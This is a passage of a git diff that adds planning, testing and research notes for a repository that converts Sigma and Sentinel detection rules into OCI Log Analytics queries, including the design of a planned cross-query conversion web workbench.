`rules/**`. +- JSON is used for generated query artifacts, dashboard inventory, source/field dictionaries, detection-rule specs, Sentinel reports, synthetic-log contracts, and manifests. +- Shell is present for legacy/demo entrypoints such as `SOC_Security_Dashboard.sh`. + +## Dependencies + +Declared in `requirements.txt`: + +- `oci>=2.130.0` for OCI SDK clients. +- `PyYAML>=6.0` for source-rule and mapping parsing. +- `python-dotenv>=1.0.0` for local environment/profile loading. + +The tests currently run with `python3 -m pytest -q` even though many tests use stdlib `unittest`. + +## Key Scripts + +- `scripts/convert_sigma.py` - converts Sigma/YAML source rules into OCI Log Analytics query JSON. +- `scripts/sentinel_conversion_workflow.py` - wraps Sentinel conversion, promotion, reporting, and status checks. +- `scripts/convert_sentinel_kql.py` - lower-level KQL-to-OCL conversion support. +- `scripts/generate_catalog.py` - generates `CATALOG.md` and `queries/catalog.json`. +- `scripts/deploy_dashboard.py` - defines dashboards, validates queries, exports dashboard inventory, and deploys/imports dashboards. +- `scripts/setup_log_sources.py` - creates or updates OCI Log Analytics parsers/sources and field mappings. +- `scripts/generate_dashboard_data.py` and `scripts/generate_test_logs.py` - generate synthetic demo datasets. +- `scripts/ingest_test_data.py` - uploads generated test data to Log Analytics. +- `scripts/release_checklist.py` - runs the local release gates and optional live verification. + +## Configuration Files + +- `config/sigma_oci_mapping.yaml` - Sigma field/logsource mapping to OCI Log Analytics. +- `config/sentinel_oci_mapping.yaml` - Sentinel conversion table/field mapping allow-list. +- `config/synthetic_log_contracts.json` - expected synthetic dataset/source contracts. +- `config/threat_intel_sources.json` - source-attributed candidate discovery configuration. +- `config/streaming_config.json` - runtime streaming/connectors contract for live ingestion setup. + +## Generated Artifact Surfaces + +- `queries/catalog.json` - canonical inventory. +- `queries/dashboard_inventory.json` - dashboard/widget/saved-search inventory. +- `queries/content_candidates.json` - discovery and gap-analysis output. +- `queries/log_source_field_dictionary.json` - parser/source/display-field contract. +- `queries/detection_rule_specs.json` - scheduled-search/detection-rule export. +- `queries/octo_apm_workshop_bundle.json` - scoped downstream workshop bundle. +- `queries/sentinel_conversion_report.json` - Sentinel conversion status and failures. +- `queries/manifest.json` - multicloud/export artifact. +- `test_data/manifest.json` - generated synthetic dataset inventory. + +## Local Commands + +- Tests: `python3 -m pytest -q` +- Rule quality: `python3 scripts/audit_rule_quality.py --report docs/RULE_QUALITY_REPORT.md` +- Catalog: `python3 scripts/generate_catalog.py` +- Dashboard dry-run: `python3 scripts/deploy_dashboard.py --dry-run` +- Release gates: `python3 scripts/release_checklist.py` diff --git a/observability-and-management/assets/oci-log-analytics-detections/.planning/codebase/STRUCTURE.md b/observability-and-management/assets/oci-log-analytics-detections/.planning/codebase/STRUCTURE.md new file mode 100644 index 000000000..867eff140 --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/.planning/codebase/STRUCTURE.md @@ -0,0 +1,61 @@ +--- +last_mapped_commit: 671c18eb3203a99666d170682997de48cb43f0f2 +mapped_at: 2026-05-14 +focus: arch +--- + +# Structure + +## Top-Level Layout + +- `rules/` - source Sigma/YAML authoring layer. +- `queries/` - OCI Log Analytics query JSON and generated inventory artifacts. +- `queries/apps/` - generated browser detections plus curated app/APM analytics. +- `queries/hunting/` - curated hunting analytics. +- `queries/sentinel/` - promoted Microsoft Sentinel conversions. +- `scripts/` - conversion, generation, deployment, validation, and test scripts. +- `config/` - mapping/configuration contracts. +- `docs/` - architecture, workflow, monitoring, demo, conversion, and generated report docs. +- `test_data/` - generated NDJSON datasets and manifest; ignored/derived in normal workflows. +- `skills/` - project-specific agent skill(s), currently dashboard enhancement. +- `.planning/` - GSD project state and codebase map. +- `.claude/` - Claude-specific local agent/settings surface. +- `.agents/` - project/global agent rule surface. + +## Rule Structure + +- `rules/cloud/oci/` - OCI audit/security/cloud guard content. +- `rules/linux/` - Linux detections and threat content. +- `rules/web/browser_attacks/` - browser-side source rules compiled into app queries. +- `rules/windows/` - Windows coverage organized by ATT&CK-like domains such as `apt`, `credential_access`, `defense_evasion`, `execution`, `lateral_movement`, and `persistence`. + +## Query Structure + +- `queries/*.json` - top-level generated detection query artifacts and generated inventory files. +- `queries/apps/*.json` - app/browser/APM dashboards and detections. +- `queries/hunting/*.json` - manual hunting and advanced analytics. +- `queries/sentinel/*.json` - live OCI parser-passing Sentinel conversions. + +Use `scripts/query_artifacts.py` to distinguish runnable saved-search query files from generated metadata JSON files. + +## Script Naming + +- `test_*.py` files under `scripts/` are the test suite. +- `generate_*` scripts produce local artifacts or datasets. +- `verify_*` and `smoke_test_*` scripts perform focused validation. +- `setup_*` scripts configure live OCI resources or local runtime contracts. +- `convert_*` and `*_workflow.py` scripts transform source content. + +## Generated vs Source + +Generated artifacts should be regenerated by scripts and reviewed through diffs. Do not hand-author: + +- `queries/catalog.json` +- `queries/dashboard_inventory.json` +- `queries/content_candidates.json` +- `queries/log_source_field_dictionary.json` +- `queries/detection_rule_specs.json` +- `queries/sentinel_conversion_report.json` +- `queries/manifest.json` +- `CATALOG.md` +- Generated query JSON from `rules/**` unless the rule is intentionally curated/hand-authored in an allowed query surface. diff --git a/observability-and-management/assets/oci-log-analytics-detections/.planning/codebase/TESTING.md b/observability-and-management/assets/oci-log-analytics-detections/.planning/codebase/TESTING.md new file mode 100644 index 000000000..f19047e54 --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/.planning/codebase/TESTING.md @@ -0,0 +1,74 @@ +--- +last_mapped_commit: 671c18eb3203a99666d170682997de48cb43f0f2 +mapped_at: 2026-05-14 +focus: quality +--- + +# Testing + +## Framework + +The test suite lives under `scripts/test_*.py`. It uses stdlib `unittest` patterns and runs under pytest: + +```bash +python3 -m pytest -q +``` + +Current baseline after GSD initialization: + +```text +244 passed, 5 skipped, 2 subtests passed +``` + +## Important Focused Tests + +- `scripts/test_converter.py` - Sigma conversion behavior. +- `scripts/test_sentinel_converter.py` - KQL/Sentinel conversion behavior. +- `scripts/test_sentinel_conversion_workflow.py` - Sentinel workflow status/promotion/reporting behavior. +- `scripts/test_deploy_dashboard.py` - dashboard/query/layout validation. +- `scripts/test_app_query_contract.py` - app/APM query source and field contract. +- `scripts/test_setup_log_sources.py` - parser/source field mapping contract. +- `scripts/test_generate_dashboard_data.py` and `scripts/test_generate_test_logs.py` - synthetic dataset generation. +- `scripts/test_catalog.py` - catalog generation and inventory assumptions. +- `scripts/test_query_audit.py` - live query audit helper behavior with mocked OCI clients. + +## Quality Gates + +Run these depending on change type: + +```bash +python3 -m pytest -q +python3 scripts/audit_rule_quality.py --report docs/RULE_QUALITY_REPORT.md +python3 scripts/deploy_dashboard.py --dry-run +python3 scripts/release_checklist.py +``` + +For Sentinel-specific work: + +```bash +python3 -m pytest scripts/test_sentinel_converter.py scripts/test_sentinel_conversion_workflow.py -q +python3 scripts/sentinel_conversion_workflow.py status --json --strict +``` + +For app/APM/dashboard work: + +```bash +python3 -m pytest scripts/test_app_query_contract.py scripts/test_deploy_dashboard.py scripts/test_setup_log_sources.py -q +python3 scripts/deploy_dashboard.py --export-inventory +python3 scripts/deploy_dashboard.py --dry-run +``` + +## Live Validation + +Live OCI validation requires explicit operator intent and profile setup. Do not assume live access in local-only GSD phases. + +Examples: + +```bash +python3 scripts/verify_deployed_dashboards.py --lookback 21d --query-timeout 60 --json docs/health/all-dashboard-verify.json +python3 scripts/sentinel_conversion_workflow.py promote --top all --timeout 20 +``` + +## Skips + +Some schema tests skip when generated NDJSON datasets are not present. This is expected in clean local runs unless the relevant synthetic data has been generated. diff --git a/observability-and-management/assets/oci-log-analytics-detections/.planning/config.json b/observability-and-management/assets/oci-log-analytics-detections/.planning/config.json new file mode 100644 index 000000000..c14022934 --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/.planning/config.json @@ -0,0 +1,46 @@ +{ + "model_profile": "inherit", + "commit_docs": true, + "parallelization": true, + "search_gitignored": false, + "brave_search": true, + "firecrawl": false, + "exa_search": false, + "git": { + "branching_strategy": "none", + "phase_branch_template": "gsd/phase-{phase}-{slug}", + "milestone_branch_template": "gsd/{milestone}-{slug}", + "quick_branch_template": null + }, + "workflow": { + "research": true, + "plan_check": true, + "verifier": true, + "nyquist_validation": true, + "auto_advance": false, + "node_repair": true, + "node_repair_budget": 2, + "ui_phase": true, + "ui_safety_gate": true, + "text_mode": false, + "research_before_questions": false, + "discuss_mode": "discuss", + "skip_discuss": false, + "code_review": true, + "code_review_depth": "standard", + "_auto_chain_active": false + }, + "hooks": { + "context_warnings": true + }, + "project_code": null, + "phase_naming": "sequential", + "agent_skills": {}, + "features": {}, + "resolve_model_ids": "omit", + "mode": "interactive", + "granularity": "standard", + "graphify": { + "enabled": true + } +} \ No newline at end of file diff --git a/observability-and-management/assets/oci-log-analytics-detections/.planning/research/ARCHITECTURE.md b/observability-and-management/assets/oci-log-analytics-detections/.planning/research/ARCHITECTURE.md new file mode 100644 index 000000000..e2115d636 --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/.planning/research/ARCHITECTURE.md @@ -0,0 +1,163 @@ +# Architecture Research + +**Domain:** Integrated web frontend backed by OCI Log Analytics conversion artifacts +**Researched:** 2026-05-17 +**Confidence:** HIGH for repository boundary and integrated `webapp/` route placement after the 2026-05-18 user decision + +## Standard Architecture + +``` +oci-log-analytics-detections + | + | generates + v +queries/logan_ql_reference_catalog.json +queries/cross_ql_mapping_patterns.json +queries/conversion_examples.json +schemas/logan_workbench/*.schema.json + | + | consumed by server-side artifact loaders + v +webapp/ + | + +-- source editor + +-- OCI Logan QL output + +-- explanation panel + +-- official OCI command menu + +-- examples and warnings +``` + +## Component Responsibilities + +| Component | Responsibility | Typical Implementation | +|-----------|----------------|------------------------| +| Reference catalog generator | Fetch or parse official OCI docs into command metadata | Python script in this repo with fixture-backed tests and provenance fields. | +| Cross-QL pattern library | Describe how source constructs map to OCI Log Analytics QL | Generated JSON plus human-readable docs from mapping inputs. | +| Conversion response schema | Define request/response shape for arbitrary source queries | JSON Schema and TypeScript/Zod equivalent in `webapp/`. | +| Integrated workbench UI | Present editor, output, command menu, examples, explanations, and warnings | Next.js route under `webapp/app/(dashboard)/forge/page.tsx`. | +| Validation gates | Prove artifacts and UI examples remain consistent | Python tests in this repo; build/type/lint/e2e in `webapp/`. | + +## Recommended Project Structure + +Producer-side additions in this repo: + +``` +scripts/ + generate_logan_reference_catalog.py + generate_cross_ql_patterns.py + test_logan_reference_catalog.py + test_cross_ql_patterns.py +queries/ + logan_ql_reference_catalog.json + cross_ql_mapping_patterns.json + conversion_examples.json +schemas/ + logan_workbench/ + artifact.schema.json + conversion_request.schema.json + conversion_response.schema.json +docs/ + logan_workbench_mapping_guide.md +``` + +Integrated `webapp/` additions: + +``` +webapp/ + app/(dashboard)/forge/page.tsx +components/ + logan-workbench/ + source-editor.tsx + output-panel.tsx + command-menu.tsx + explanation-panel.tsx + examples-panel.tsx +lib/ + logan-workbench/ + artifacts.ts + conversion-client.ts + schemas.ts +tests/ + logan-workbench.spec.ts +``` + +## Architectural Patterns + +### Producer/Consumer Artifact Contract + +**What:** This repo emits versioned JSON artifacts and schemas; `webapp/` imports and validates them. + +**Trade-offs:** Static artifacts are deterministic and easy to test, but arbitrary pasted-query conversion may eventually need a service wrapper around producer-side converters. + +### Support-Level Mapping + +**What:** Every conversion pattern is labeled as `supported`, `supported_with_warning`, `lossy`, or `unsupported`. + +**Trade-offs:** Users see limitations upfront. It requires more metadata than simple string templates, but avoids silent detection corruption. + +### Docs-Derived Menu + +**What:** Command menu data is generated from official OCI documentation URLs, not hand-authored in the UI. + +**Trade-offs:** The generator must tolerate docs page shape changes. Tests should use saved fixtures so normal builds do not require network access. + +## Data Flow + +### Artifact Build Flow + +``` +Oracle docs + mapping config + converter examples + -> Python generators + -> JSON artifacts + schemas + docs + -> Python artifact tests + -> webapp import/build/e2e tests +``` + +### User Conversion Flow + +``` +User selects source language + -> pastes source query + -> converter/pattern engine returns Logan QL + explanation + warnings + -> user copies/exports OCI QL and evidence +``` + +## Integration Points + +| Boundary | Communication | Notes | +|----------|---------------|-------| +| This repo -> `webapp/` | Versioned JSON artifacts and schemas | No duplicate converter generation in the frontend. | +| OCI docs -> reference catalog | Official documentation URLs | Store source URL and retrieval timestamp for each generated catalog. | +| Existing Sentinel converter -> workbench examples | Generated fixtures | Promoted Sentinel semantics must continue to flow through converter/live-validation workflow. | +| Synthetic logs -> examples | Redacted synthetic fixtures | Examples must use real Sentinel/OCI-shaped fields without tenant data. | + +## Anti-Patterns + +### Frontend Forks the Converter + +**What people do:** Rebuild Sentinel/Sigma conversion in TypeScript for convenience. +**Why it is wrong:** Semantics drift from this repo's live-validated artifacts. +**Do this instead:** Define an artifact/API contract that wraps or consumes producer-side conversion logic. + +### Menu Is a Static Design Asset + +**What people do:** Hand-type OCI commands into React components. +**Why it is wrong:** It breaks the user's requirement to stay aligned with official OCI pages. +**Do this instead:** Generate and validate the menu from docs-derived artifacts. + +### Examples Are Only Pretty Strings + +**What people do:** Include sample conversions without tests. +**Why it is wrong:** The UI can demonstrate invalid Logan QL. +**Do this instead:** Test examples against schemas, canonical formatting, and converter support levels. + +## Sources + +- Oracle OCI Log Analytics query search documentation. +- Oracle OCI Log Analytics command reference. +- `.planning/PROJECT.md` and repo artifact boundary rules. +- `webapp/package.json`. + +--- +*Architecture research for: v3.0 Logan QL Conversion Workbench* +*Researched: 2026-05-17* diff --git a/observability-and-management/assets/oci-log-analytics-detections/.planning/research/FEATURES.md b/observability-and-management/assets/oci-log-analytics-detections/.planning/research/FEATURES.md new file mode 100644 index 000000000..d34bb7f24 --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/.planning/research/FEATURES.md @@ -0,0 +1,98 @@ +# Feature Research + +**Domain:** Cross-QL conversion workbench for OCI Log Analytics QL +**Researched:** 2026-05-17 +**Confidence:** HIGH for table-stakes features and integrated `webapp/` target after the 2026-05-18 user decision + +## Feature Landscape + +### Table Stakes + +| Feature | Why Expected | Complexity | Notes | +|---------|--------------|------------|-------| +| Source language selector | Users need to choose Splunk SPL, Sentinel KQL, Elastic/Lucene/KQL, Sigma/YAML, or OCI QL passthrough. | MEDIUM | Must drive parser, examples, validation, and explanation labels. | +| Source editor and OCI output editor | Converter tools are expected to be paste-in, convert-out workflows. | MEDIUM | Use stable dimensions so editor/output panels do not resize unpredictably. | +| Structured conversion explanation | Users need to know how the target Logan QL was derived. | HIGH | Explanation should map source clauses to OCI commands, fields, and warnings. | +| Official OCI command/reference menu | User explicitly requested a menu updated from official OCI pages. | MEDIUM | Generate from Oracle docs and consume in `webapp/`. | +| Cross-QL mapping guide | Users need general mapping rules, not only examples. | HIGH | Cover filters, fields, boolean logic, time windows, aggregation, projection, eval, regex/extraction, lookup, and correlation limits. | +| Copy/export actions | Converter tools need fast handoff into saved searches, docs, or demos. | LOW | Include copy Logan QL, download JSON, and copy explanation. | +| Warning states for unsupported/lossy constructs | Detection quality depends on explicit limitations. | HIGH | Never silently weaken detections. | +| Example gallery | Users need known-good examples to understand behavior quickly. | MEDIUM | Seed with 10-20 source queries across Sentinel, Splunk, Elastic, Sigma, and OCI QL. | + +### Differentiators + +| Feature | Value Proposition | Complexity | Notes | +|---------|-------------------|------------|-------| +| Official-docs-derived command menu with provenance | Shows the UI is grounded in OCI docs, not stale blog examples. | MEDIUM | Include `source_url`, `retrieved_at`, command name, category, syntax summary, and examples where available. | +| Security-detection-aware mapping explanations | Better than generic syntax translation because it explains semantic gaps. | HIGH | Tie warnings to field mapping, parser readiness, and unsupported source-language operators. | +| Artifact parity with live-validated Sentinel/Sigma paths | Gives the workbench the same semantics as committed detections. | HIGH | UI consumes artifacts from this repo; converters remain producer-side. | +| Real Sentinel-shaped sample logs and Logan QL examples | Supports demos without leaking tenant data. | MEDIUM | Reuse synthetic log patterns and current promoted Sentinel query shapes. | + +### Anti-Features + +| Feature | Why Requested | Why Problematic | Alternative | +|---------|---------------|-----------------|-------------| +| "Convert anything perfectly" claim | Looks compelling in marketing. | Cross-SIEM semantics are not one-to-one. | Show support levels and warnings per construct. | +| Live OCI validation from the public browser | Confirms parser behavior. | Requires credentials and could leak tenancy context. | Keep live validation explicit, profile-driven, and outside browser storage. | +| LLM-only conversion | Appears flexible for arbitrary syntax. | Non-deterministic and hard to test for detections. | Deterministic patterns first; optional future assist must be clearly labeled. | +| UI-owned command metadata | Fast to hard-code. | Drifts from official OCI pages. | Generated reference artifact from this repo. | + +## Feature Dependencies + +``` +Reference Catalog + -> Workbench Command Menu + -> Mapping Guide + +Artifact/API Contract + -> webapp Import + -> Example Gallery + -> Frontend Tests + +Cross-QL Pattern Library + -> Conversion Explanation + -> Warning States + -> Example Validation +``` + +### MVP Definition + +### Launch With + +- [ ] Integrated `webapp/` route selected and documented. +- [ ] Versioned JSON schema for command catalog, mapping patterns, examples, and conversion response. +- [ ] Official OCI command/reference catalog generated from documented Oracle URLs. +- [ ] Workbench UI with source selector, editor, Logan QL output, explanation, command menu, warnings, and copy/export actions. +- [ ] Mapping guide and 10-20 validated examples across the requested source languages. + +### Add After Validation + +- [ ] Full arbitrary SPL and Elastic parser depth beyond the first supported constructs. +- [ ] Optional API service wrapping producer-side converters. +- [ ] User-provided custom field mapping overlays. + +### Future Consideration + +- [ ] LLM-assisted explanation mode, clearly separated from deterministic conversion. +- [ ] Live OCI parser validation from a secured server-side integration. +- [ ] Team-shared conversion history and review workflow. + +## Competitor Feature Analysis + +| Feature | sigconverter.io Pattern | Uncoder.io Pattern | Our Approach | +|---------|--------------------------|--------------------|--------------| +| Source-to-target conversion | Sigma-focused conversion workflow | Multi-platform rule/query conversion | Multi-source workbench focused on OCI Log Analytics QL as the target. | +| Target explanation | Usually secondary to generated output | Varies by target | Make explanation and support level first-class. | +| Reference docs | Tool-owned mapping knowledge | Tool-owned platform templates | Generate OCI command menu from official Oracle docs. | +| Security semantics | Detection-rule oriented | Detection-rule oriented | Tie every warning to field mapping, parser readiness, or unsupported semantics. | + +## Sources + +- Oracle OCI Log Analytics query search documentation. +- Oracle OCI Log Analytics command reference. +- User-provided comparable tools: sigconverter.io and Uncoder.io. +- Existing repo converter and synthetic-log artifacts. + +--- +*Feature research for: v3.0 Logan QL Conversion Workbench* +*Researched: 2026-05-17* diff --git a/observability-and-management/assets/oci-log-analytics-detections/.planning/research/PITFALLS.md b/observability-and-management/assets/oci-log-analytics-detections/.planning/research/PITFALLS.md new file mode 100644 index 000000000..9fa97ff3b --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/.planning/research/PITFALLS.md @@ -0,0 +1,149 @@ +# Pitfalls Research + +**Domain:** SIEM query conversion workbench for OCI Log Analytics QL +**Researched:** 2026-05-17 +**Confidence:** HIGH + +## Critical Pitfalls + +### Pitfall 1: Stale OCI Command Menu + +**What goes wrong:** +The UI ships a menu that no longer matches Oracle's Log Analytics command reference. + +**Why it happens:** +Command metadata is copied into React components by hand and never reconciled. + +**How to avoid:** +Generate the command catalog from official Oracle pages, keep source URLs and retrieval timestamps, and fail tests when required fields are missing. + +**Warning signs:** +Menu entries have no provenance, no schema, or no generated artifact. + +**Phase to address:** +Phase 13. + +### Pitfall 2: Silent Semantic Loss + +**What goes wrong:** +A source query converts to OCI QL that looks valid but weakens the detection. + +**Why it happens:** +Constructs such as joins, dynamic bags, command-line parsing, regex differences, or watchlists are simplified without a warning. + +**How to avoid:** +Every pattern must carry a support level and explanation. Lossy or unsupported constructs must emit warnings or block conversion. + +**Warning signs:** +Conversion output exists but the response has no warnings, no source-to-target trace, or no support-level metadata. + +**Phase to address:** +Phase 14. + +### Pitfall 3: Repo Boundary Drift + +**What goes wrong:** +The frontend owns its own conversion logic and diverges from this repo's generated artifacts. + +**Why it happens:** +UI implementation starts before the artifact/API contract is defined. + +**How to avoid:** +Start with Phase 12. Define schemas, artifact ownership, import path, and test responsibilities before frontend implementation. + +**Warning signs:** +TypeScript conversion rules appear in `webapp/` without a matching generated artifact or producer-side test. + +**Phase to address:** +Phase 12. + +### Pitfall 4: Demo Data Leaks Tenant Context + +**What goes wrong:** +Examples include OCIDs, public IPs, tenant-specific names, or unredacted live payloads. + +**Why it happens:** +Useful live logs are copied into examples to make the demo realistic. + +**How to avoid:** +Use synthetic Sentinel-shaped and OCI-shaped logs only. Extend sensitive-value scans to workbench artifacts and examples. + +**Warning signs:** +Example files contain OCI IDs, public routable IPs, compartment names, tenancy suffixes, or unreviewed raw logs. + +**Phase to address:** +Phase 16. + +### Pitfall 5: Converter UI Looks Useful But Cannot Be Tested + +**What goes wrong:** +The workbench is visually complete, but no gate proves the examples, warnings, menu, and output stay consistent. + +**Why it happens:** +Frontend work is treated as a static page instead of a contract-consuming tool. + +**How to avoid:** +Require producer-side schema/example tests and `webapp/` build/type/lint/e2e tests before milestone completion. + +**Warning signs:** +No fixture-driven examples, no browser test path, no schema validation in `webapp/` import code. + +**Phase to address:** +Phase 16. + +## Technical Debt Patterns + +| Shortcut | Immediate Benefit | Long-term Cost | When Acceptable | +|----------|-------------------|----------------|-----------------| +| Inline menu data in UI | Fast first screen | Docs drift and impossible provenance | Never for final milestone scope. | +| Regex-only query parsing | Fast examples | Breaks nested clauses and quoted strings | Only for clearly labeled demo examples, not production conversion. | +| One artifact blob | Fewer files | Hard to validate or version independently | Acceptable only for an initial spike; Phase 12 should split schemas. | +| UI-only warnings | Easy to render | No producer-side traceability | Never; warnings belong in conversion response artifacts. | + +## Integration Gotchas + +| Integration | Common Mistake | Correct Approach | +|-------------|----------------|------------------| +| Oracle docs | Runtime scraping from browser | Offline generator with fixture tests and provenance fields. | +| Sibling frontend | Copy artifacts manually | Document a repeatable import/build step. | +| Existing converters | Reimplement in TypeScript | Wrap or consume producer-side converter outputs. | +| Examples | Store live payloads | Use synthetic, redacted, schema-valid samples. | + +## UX Pitfalls + +| Pitfall | User Impact | Better Approach | +|---------|-------------|-----------------| +| Landing-page-first design | User cannot immediately convert a query. | Open directly to the workbench. | +| Huge explanatory text blocks | Slows operator workflows. | Use compact panels, examples, and contextual warnings. | +| Output without mapping trace | Users cannot trust the conversion. | Pair every output with source-to-target explanation. | +| Menu detached from editor | Command reference feels like documentation, not a tool. | Let menu entries insert examples or filter mapping guidance. | + +## Looks Done But Is Not Checklist + +- [ ] Command menu exists but has no official-doc provenance. +- [ ] Example conversions render but are not schema-tested. +- [ ] Warnings show visually but are not part of the conversion response. +- [ ] Sibling frontend imports static JSON without runtime validation. +- [ ] Workbench uses real-looking logs that have not passed sensitive-value scan. +- [ ] Mobile layout hides warnings or copy/export controls. + +## Pitfall-to-Phase Mapping + +| Pitfall | Prevention Phase | Verification | +|---------|------------------|--------------| +| Repo boundary drift | Phase 12 | Schemas and import contract exist before UI implementation. | +| Stale OCI menu | Phase 13 | Generated catalog includes source URLs and tests. | +| Silent semantic loss | Phase 14 | Pattern library marks lossy/unsupported constructs. | +| Untestable UI | Phase 15 and Phase 16 | Sibling e2e path covers editor, menu, examples, warnings, copy/export. | +| Tenant data leakage | Phase 16 | Sensitive-value scan covers workbench artifacts and examples. | + +## Sources + +- Oracle OCI Log Analytics query search documentation. +- Oracle OCI Log Analytics command reference. +- Existing project hard rules in `AGENTS.md` and `.planning/PROJECT.md`. +- Prior Sentinel conversion lessons from v2.0 planning state. + +--- +*Pitfalls research for: v3.0 Logan QL Conversion Workbench* +*Researched: 2026-05-17* diff --git a/observability-and-management/assets/oci-log-analytics-detections/.planning/research/README.md b/observability-and-management/assets/oci-log-analytics-detections/.planning/research/README.md new file mode 100644 index 000000000..ebe06e71a --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/.planning/research/README.md @@ -0,0 +1,12 @@ +# Research Notes + +Current research set: **v3.0 Logan QL Conversion Workbench**. + +These notes cover the new milestone scope only: the integrated `webapp/` frontend for cross-QL conversion into OCI Log Analytics QL, plus the producer artifacts this repository must generate for that frontend. + +Files: +- `STACK.md` - stack additions and integrated frontend fit +- `FEATURES.md` - workbench feature landscape +- `ARCHITECTURE.md` - artifact/API boundary and data flow +- `PITFALLS.md` - conversion, docs, UX, and security risks +- `SUMMARY.md` - roadmap implications diff --git a/observability-and-management/assets/oci-log-analytics-detections/.planning/research/STACK.md b/observability-and-management/assets/oci-log-analytics-detections/.planning/research/STACK.md new file mode 100644 index 000000000..703d0cf56 --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/.planning/research/STACK.md @@ -0,0 +1,66 @@ +# Stack Research + +**Domain:** SIEM query conversion web workbench for OCI Log Analytics QL +**Researched:** 2026-05-17 +**Confidence:** HIGH for repo boundary, OCI docs, and integrated `webapp/` target after the 2026-05-18 user decision + +## Recommended Stack + +### Core Technologies + +| Technology | Version | Purpose | Why Recommended | +|------------|---------|---------|-----------------| +| Python | Existing repo runtime | Generate converter artifacts, docs-derived reference catalogs, schemas, and examples | This repository already owns Sentinel/Sigma conversion and generated query artifacts. Keep conversion logic here instead of rewriting it in the browser. | +| JSON Schema | Draft selected in Phase 12 | Contract between producer artifacts and `webapp/` | A versioned schema prevents UI drift when conversion patterns, examples, or command metadata change. | +| Next.js | 15.5.18 in `webapp/` | Integrated frontend route and app shell | Matches the migrated Forge implementation and supports secured server-side artifact loading. | +| React | 19 in `webapp/` | Interactive editor, output, menu, and explanation panels | Supports a dense operator workbench UI. | +| TypeScript | 5 in `webapp/` | Typed artifact consumption and UI state | Required for reliable schema-driven frontend integration. | +| Tailwind CSS | 3.4.19 in `webapp/` | Responsive workbench layout | Keeps styling local to the frontend app. | + +### Supporting Libraries + +| Library | Version | Purpose | When to Use | +|---------|---------|---------|-------------| +| Zod | 3.24.1 in `webapp/` | Runtime validation of imported artifact JSON | Use at the frontend boundary to fail clearly when generated artifacts drift. | +| Radix UI | Existing `webapp/` dependency set | Menus, tabs, dialogs, scroll areas, tooltips | Use for command reference menu, source-language selector, warnings, and copy/export controls. | +| Lucide React | 0.454.0 in `webapp/` | Workbench action icons | Use for copy, download, search, warning, split-view, and validation controls. | +| Code editor component | Decide in Phase 15 | Source and Logan QL editors | Use CodeMirror 6 or Monaco only after assessing bundle size and syntax-highlighting needs. | +| Playwright | Add to `webapp/` if deeper E2E is needed | Browser acceptance tests | Use for desktop/mobile layout, copy/export flow, command menu, and example conversion checks. | + +### Development Tools + +| Tool | Purpose | Notes | +|------|---------|-------| +| `scripts/generate_logan_reference_catalog.py` | Proposed producer for OCI command menu metadata | Should read official OCI Log Analytics pages and write a generated JSON artifact with source URLs and `retrieved_at`. | +| `scripts/generate_cross_ql_patterns.py` | Proposed producer for source-language mapping patterns | Should emit support level, mapping explanation, examples, and unsupported/lossy warnings. | +| `python3 -m pytest` | Producer-side schema and example validation | Tests stay in this repo for generated artifacts. | +| `pnpm build`, `pnpm lint`, `pnpm typecheck` | `webapp/` gates | Run from `webapp/` during implementation phases. | + +## Alternatives Considered + +| Recommended | Alternative | When to Use Alternative | +|-------------|-------------|-------------------------| +| Maintain integrated `webapp/` | Return to a sibling app | Use a sibling app only if the long-term repo ownership decision changes. | +| Generated static JSON artifacts | Live docs scraping in the browser | Use browser-side fetching only for a non-production demo. Production should avoid depending on docs availability at runtime. | +| Reuse Python converters | Reimplement conversion logic in TypeScript | Only reimplement small UI-only formatting helpers. Actual Sigma/Sentinel conversion semantics belong in this repo. | +| Schema-driven examples | Freeform prompt/LLM conversion | Use LLM assistance only as future optional explanation, never as the source of committed detections without deterministic validation. | + +## What NOT to Use + +| Avoid | Why | Use Instead | +|-------|-----|-------------| +| Hand-coded OCI command menu | It will drift from Oracle documentation and creates false confidence. | Generated catalog with source URL, retrieval timestamp, and tests. | +| Browser-stored OCI credentials | A public converter UI should not need tenancy credentials. | Static examples and offline conversion artifacts; live OCI validation remains explicit and profile-driven. | +| Silent lossy rewrites | Security detections become misleading if unsupported semantics disappear. | Structured warnings with support levels and alternatives. | +| Duplicated Sentinel/Sigma converters in the UI | Divergence from live-validated artifacts would be inevitable. | Shared artifact/API contract backed by this repo's converters. | + +## Sources + +- Oracle OCI Log Analytics query search documentation - search syntax, pipe model, and saved-search/dashboard context. +- Oracle OCI Log Analytics command reference - command menu source of truth. +- `webapp/package.json` - integrated frontend stack. +- User-provided comparable tools: sigconverter.io and Uncoder.io. + +--- +*Stack research for: v3.0 Logan QL Conversion Workbench* +*Researched: 2026-05-17* diff --git a/observability-and-management/assets/oci-log-analytics-detections/.planning/research/SUMMARY.md b/observability-and-management/assets/oci-log-analytics-detections/.planning/research/SUMMARY.md new file mode 100644 index 000000000..5c3fc6ed0 --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/.planning/research/SUMMARY.md @@ -0,0 +1,123 @@ +# Project Research Summary + +**Project:** OCI Log Analytics Detections +**Domain:** Cross-QL conversion workbench for OCI Log Analytics QL +**Researched:** 2026-05-17 +**Confidence:** HIGH for artifact boundary, OCI reference needs, and integrated `webapp/` target after the 2026-05-18 user decision + +## Executive Summary + +Milestone v3.0 adds a Logan QL conversion workbench without moving this repository away from its producer role. The current architecture is an integrated `webapp/` frontend that consumes versioned artifacts generated here: official-docs-derived OCI command metadata, cross-QL mapping patterns, conversion examples, and request/response schemas. + +The first implementation risk is semantic drift. A converter that produces plausible OCI Log Analytics QL but hides unsupported or lossy source constructs would be dangerous for detection content. The milestone should make support levels, warnings, and source-to-target explanations part of the artifact contract before frontend implementation begins. + +The second implementation risk is stale reference data. The user explicitly requested an OCI command menu updated from official OCI pages, so command metadata must be generated with source URLs and timestamps, tested with fixtures, and consumed by `webapp/` rather than hand-authored in React. + +## Key Findings + +### Recommended Stack + +Use this repo's Python scripts for producer-side artifacts and the integrated Next.js/React/TypeScript stack under `webapp/` for the frontend. + +**Core technologies:** +- Python generators: create command catalog, mapping patterns, examples, and schemas. +- JSON Schema plus Zod: 